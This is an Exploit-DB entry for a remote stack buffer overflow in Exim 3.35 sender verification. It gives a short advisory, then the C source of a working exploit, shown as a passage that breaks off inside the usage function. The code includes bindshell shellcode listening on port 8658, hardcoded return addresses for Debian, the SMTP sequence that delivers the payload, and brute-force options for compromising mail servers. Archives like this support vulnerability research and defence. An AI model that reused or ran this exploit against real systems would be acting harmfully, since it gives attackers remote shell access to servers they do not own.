Exploit-DB #24093
Description: Exim Sender 3.35 - Verification Remote Stack Buffer Overrun
Type: remote
Platform: linux
Date: 2004-05-06
Author: newroot

Exploit:
// source: https://www.securityfocus.com/bid/10290/info

Exim has been reported prone to a remotely exploitable stack-based buffer overrun vulnerability. 

This is exposed if sender verification has been enabled in the agent and may be triggered by a malicious e-mail. Exploitation may permit execution of arbitrary code in the content of the mail transfer agent.

This issue is reported in exist in Exim 3.35. Earlier versions may also be affected. 

It should be noted that the vulnerable functionality is not enabled in the default install, though some Linux/Unix distributions that ship the software may enable it.

/*
 * antisec presents 
 *
 * exim 3.35 remote exploit
 * written by newroot & nopfish
 * 
 * http://www.antisec.de
 *
 * greetz to mcb, ^sq , merith 
 * and the whole antisec.de team
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>

#define CODING_STYLE "German"
#define VERSION "0.0.1 private"
#define AUTHOR  "newroot and nopfish"

#define OPT_VERBOSE	1	// 0001
#define OPT_BRUTE	2	// 0010
#define OPT_CHECK	4	// 0100

#define BUFSIZE		256
#define OVERSIZE	 44

#define PORT 25
#define HELO "HELO a\r\n"
#define FROM "MAIL FROM: "
#define RCPT "RCPT TO: postmaster@localhost\r\n"
#define DATA "DATA\r\n"
#define END  "\r\n\r\n.\r\n"
#define QUIT "QUIT\r\n"
#define ATTACK_HOST "@localho\r\n"

#define STACK_START	0xbfffffff
#define STACK_END	0xbfff0000

extern int errno;
extern int optind, opterr;
extern char *optarg;
unsigned long int opt_flags;		// options

unsigned int steps     = 15;		// steps for bruteforcing
unsigned int alignment =  0;		// alignment
unsigned int timeout   =  5;		// time between bruteforce
int nutcase	       = 35;


unsigned char shellcode[] =
// antisec bindshell 8658 / filters out illegal chars
"\x31\xc0\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b"
"\xcd\x80\x89\xc7\x52\x66\x68\x21\xd2\x43\x66\x53\x89\xe1\x52\xb2"
"\x70\x80\xea\x60\x89\xd0\x5a\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80"
"\xb0\x66\xb3\x84\x80\xeb\x80\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0"
"\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1"
"\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0"
"\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80";


struct targets {
	        unsigned char desc[BUFSIZE];
	        unsigned long addr;
} target[] = {
	{ "Debian 3.0 unstable(woody)",
	   0xbffff098
	},
	{ "Testing",
           0x5c5c5c5c
        },
        { 0x00, 0x00 }
};

void banner (char *);
void verbose (const char *, ...);
void fatal(char *);
void error (const char *, ...);
int ussage (char *);
void print_targets ();
int exploit (char *host, int port, struct targets target);
char *xp_create (long ret); 
void xp_destroy (char *payload); 
int xp_send (char *host, int port, char *payload);
int connect_host(char * host,int port);
void shell(int thesock);



int main (int argc, char **argv) {
	int c;
	int port;
	int target_nr;		
	unsigned long adress = 0x00;

	banner(argv[0]);

	if (argc < 2) {
		return ussage (argv[0]);
	}

	port = PORT; target_nr = -1;
	while ( (c = getopt (argc, argv, "o:n:x:a:p:t:s:bchv")) != -1 ) {
		switch (c) {
			case 'b':
				opt_flags |= OPT_BRUTE;
			break;

			case 'p':
				port = atoi(optarg);
			break;

			case 'x':
				adress  = strtoll (optarg, NULL, 16);
			break;

			case 'a':
				alignment = atoi(optarg);
			break;

			case 't':
				target_nr = atoi(optarg);
			break;

			case 'o':
				timeout = atoi(optarg);
			break;

			case 's':
				steps = atoi(optarg);
			break;

			case 'n':
				nutcase = atoi(optarg);
			break;

			case 'v':
				opt_flags |= OPT_VERBOSE;
			break;

			case 'c':
				opt_flags |= OPT_CHECK;
			break;

			case 'h':
			default:
				return ussage(argv[0]);
			break;
		}
	}

	if (target_nr == 0) {
		print_targets ();
		return EXIT_SUCCESS;
	} else if (target_nr == -1) {
		target_nr = 1;
	}
	if (adress != 0x00) {
		target[target_nr-1].addr = adress;
	}

	exploit (argv[argc-1], port, target[target_nr-1]);

	return EXIT_SUCCESS;
}

void banner (char *args) {
	char line[BUFSIZ+1];
	int i, j;

	memset ((void *)line, 0x00, BUFSIZ);
	if (args[0] == '.' && args[1] == '/') {
		snprintf (line, BUFSIZ, "%s - v%s / written by %s", (args+2), VERSION, AUTHOR);
	} else {
		snprintf (line, BUFSIZ, "%s - v%s / written by %s", args, VERSION, AUTHOR);
	}
	fprintf (stderr, "\nwww.antisec.de gives you:\n");
	fprintf (stderr, "%s a remote exim 3.35 exploit\n\n", args+2);
	fprintf(stderr, "%s\n", line);
	j = strlen (line);
	memset (line, 0x00, BUFSIZ);
	for (i=0; i< j && i < BUFSIZ; i++) {
		line[i] = '~';
	}
	fprintf(stderr, "%s\n", line);

}

void verbose(const char *fmt, ...) {
	va_list args;
	 if (opt_flags & OPT_VERBOSE) { 
		 va_start(args, fmt);
		 vfprintf(stderr, fmt, args);
		 va_end(args);
	 }
}

void fatal(char *msg) {
	perror (msg);
	exit(EXIT_FAILURE);
}

void error (const char *fmt, ...) {
	va_list args;
	 if (opt_flags & OPT_VERBOSE) { 
		 va_start(args, fmt);
		 vfprintf(stderr, fmt, args);
		 va_end(args);
	 }
	exit(EXIT_FAILURE);
}

int ussage (char *args) {
	fprintf (stderr, "Ussage %s [options] <target host>\n", args);
	fprintf (stderr, "\t-t <num>\t target (0 for listing)\n");
	fprintf (stderr, "\t-x <address>\t give your own adress in hex (0xbffffc03)\n");
	fprintf (stderr, "\t-o <timeout>\t time between bruteforce attempts (default 5)\n");
	fprintf (stderr, "\t-s <steps>\t steps for bruteforce (default 15)\n");
	fprintf (stderr, "\t-p <port>\t use an other port t